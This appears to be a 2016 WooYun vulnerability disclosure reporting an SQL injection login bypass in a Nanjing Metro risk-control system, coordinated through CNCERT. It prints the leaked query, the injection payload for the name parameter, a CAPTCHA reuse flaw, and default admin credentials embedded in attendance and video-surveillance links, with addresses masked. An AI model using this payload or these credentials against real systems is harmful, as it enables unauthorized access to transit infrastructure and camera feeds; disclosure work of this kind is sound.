当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0207795

漏洞标题:南京地铁某系统存在SQL注入导致登录被绕过(影响管理系统功能等)

相关厂商:南京地铁

漏洞作者: 群主

提交时间:2016-05-12 16:00

修复时间:2016-06-30 13:50

公开时间:2016-06-30 13:50

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-12: 细节已通知厂商并且等待厂商处理中
2016-05-16: 厂商已经确认,细节仅向厂商公开
2016-05-26: 细节向核心白帽子及相关领域专家公开
2016-06-05: 细节向普通白帽子公开
2016-06-15: 细节向实习白帽子公开
2016-06-30: 细节向公众公开

简要描述:

sql注入

详细说明:

南京地铁轨道交通一期风险控制系统登录处存在sql注入,可直接绕过登录进入后台管理

漏洞证明:

漏洞地址:**.**.**.**/

njdt.png

使用admin/admin尝试登录,利用firebug获取请求的具体参数以及接口

firebug.png

登录失败提示账号封禁1小时

failed.png

这里无须在意什么账号封禁,调出hackbar插件,直接尝试请求并加上单引号测试发现报错并直接爆出sql语句

2016-05-12 11-50-26 的屏幕截图.png

观察报错信息

org.springframework.orm.hibernate3.HibernateQueryException: expecting ''', found '' [select ubi.user_id from com.kentop.pojo.UserBaseInfo ubi where ubi.login_name='admin''and ubi.password='21232f297a57a5a743894a0e4a801fc3' and ubi.user_state=1]; nested exception is org.hibernate.QueryException: expecting ''', found '' [select ubi.user_id from com.kentop.pojo.UserBaseInfo ubi where ubi.login_name='admin''and ubi.password='21232f297a57a5a743894a0e4a801fc3' and ubi.user_state=1]
Caused by: org.hibernate.QueryException: expecting ''', found '' [select ubi.user_id from com.kentop.pojo.UserBaseInfo ubi where ubi.login_name='admin''and ubi.password='21232f297a57a5a743894a0e4a801fc3' and ubi.user_state=1]

发现是一个典型的sql语句拼接,于是构造name参数,使sql语句正常执行查询,经过测试发现这里只需要将and后面的语句注释掉不执行即可,简单的使用一个UNION即可,构造后的语句如下

select ubi.user_id from com.kentop.pojo.UserBaseInfo ubi where ubi.login_name='admin' UNION 'and ubi.password='21232f297a57a5a743894a0e4a801fc3' and ubi.user_state=1

所以最终得到请求的参数为

name=admin' UNION &password=admin&checkword=5758

这里需要注意验证码,只要没刷新页面验证码都不需要重新获取(这是个BUG),最终请求后服务端返回为1,登录成功

2.png

现在回到登录页面,在用户名处输出我们构造的sql语句,密码随意,尝试登录成功

2016-05-12 13-06-20 的屏幕截图.png

左侧的功能按钮可以查看详细的一些报表以及图纸,截几个图

2016-05-12 13-12-55 的屏幕截图.png

盾构监测

2016-05-12 13-13-17 的屏幕截图.png

工作台,接下来打开考勤管理,链接为

**.**.**.**:8088/Auth.aspx?e7_op=login&e7_username=admin&e7_password=admin&e7_redirect=default.aspx

仔细观察发现系统登录的用户名和密码直接写在了链接中,均为admin

2016-05-12 13-10-49 的屏幕截图.png

然后打开视频监控功能

2016-05-12 13-13-43 的屏幕截图.png

这里需要安装插件才行,点击其中的一个地址,发现请求链接为

**.**.**.**/jsp/Video/spView.jsp?ip=**.**.**.**&port=30000&serverIp=**.**.**.**&userName=Admin&userPass=Admin&streamType=0

很清楚的看到请求的视频监控服务器的地址为**.**.**.**,端口30000,用户名密码均为Admin,实际测试中发现这个地址使无需授权即可直接访问。管理系统中的一些文档,新闻都是无需授权就能查看。权限都没做

修复方案:

权限控制要严格
sql要过滤

版权声明:转载请注明来源 群主@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-05-16 13:42

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置.

最新状态:

暂无